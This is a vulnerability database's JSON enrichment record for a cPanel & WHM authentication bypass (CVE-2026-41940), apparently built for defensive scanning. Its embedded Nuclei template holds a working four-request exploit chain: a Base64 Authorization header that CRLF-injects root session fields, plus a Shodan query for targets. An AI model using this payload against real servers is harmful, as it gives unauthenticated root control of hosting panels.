{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-41940/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-41940/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-41940/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-41940/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-41940/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-41940/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-41940"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-41940"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.98527,
      "kev": true,
      "percentile": 0.99921
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-41940.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-41940\n\ninfo:\n  name: cPanel & WHM - Authentication Bypass via Session-File CRLF Injection\n  author: watchtowr,hadrian.io,DhiyaneshDk\n  severity: critical\n  description: |\n    cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.\n  impact: |\n    Unauthenticated remote attackers can gain unauthorized access to the control panel, compromising system security.\n  remediation: |\n    Update to version 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5 or later.\n  reference:\n    - https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026\n    - https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/\n    - https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py\n    - https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41940\n  metadata:\n    verified: true\n    max-request: 4\n    shodan-query: title:\"WHM Login\"\n  tags: cve,cve2026,cpanel,whm,auth-bypass,crlf,vkev,kev\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        POST /login/?login_only=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Connection: close\n\n        user=root&pass=wrong\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 401\n          - contains(header, \"whostmgrrelogin\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: session_no_ob\n        part: header\n        group: 1\n        regex:\n          - 'whostmgrsession=([^;,]+?)%2[Cc]'\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: whostmgrsession={{session_no_ob}}\n        Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ0K\n        Connection: close\n\n    disable-cookie: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 307\n          - contains(location, \"cpsess\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: cp_token\n        part: header\n        regex:\n          - '(/cpsess\\d+)'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        GET /scripts2/listaccts HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: whostmgrsession={{session_no_ob}}\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 401\n        internal: true\n\n  - raw:\n      - |\n        GET {{cp_token}}/json-api/version HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: whostmgrsession={{session_no_ob}}\n        Connection: close\n\n    disable-cookie: true\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        words:\n          - '\"data\":{\"version\":\"'\n          - '\"command\":\"version\"'\n          - '\"reason\":\"OK\"'\n          - '\"result\":1'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"Access denied\"\n        negative: true\n\n    extractors:\n      - type: regex\n        part: body\n        regex:\n          - '\"version\"\\s*:\\s*\"([^\"]+)\"'\n        group: 1\n# digest: 4a0a00473045022100f130f9f84ef8381e91bd1cbfe3783396f55c6e3230665d68a684941b497d814402200f6abc0ff1067d65c1eb80ac99a3ffefbdfc071dbeef4aff2985493c5d127ae9:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-41940"
}